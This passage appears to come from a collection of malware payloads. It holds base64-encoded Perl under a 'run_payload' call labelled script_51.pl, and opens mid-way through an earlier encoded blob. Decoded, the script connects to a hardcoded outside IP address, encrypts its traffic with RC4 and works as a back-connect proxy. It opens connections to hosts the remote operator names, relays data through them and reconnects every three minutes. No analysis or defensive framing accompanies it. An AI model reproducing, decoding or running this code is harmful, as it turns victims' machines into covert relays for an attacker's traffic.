xLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMiwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_51.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTkzJzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3V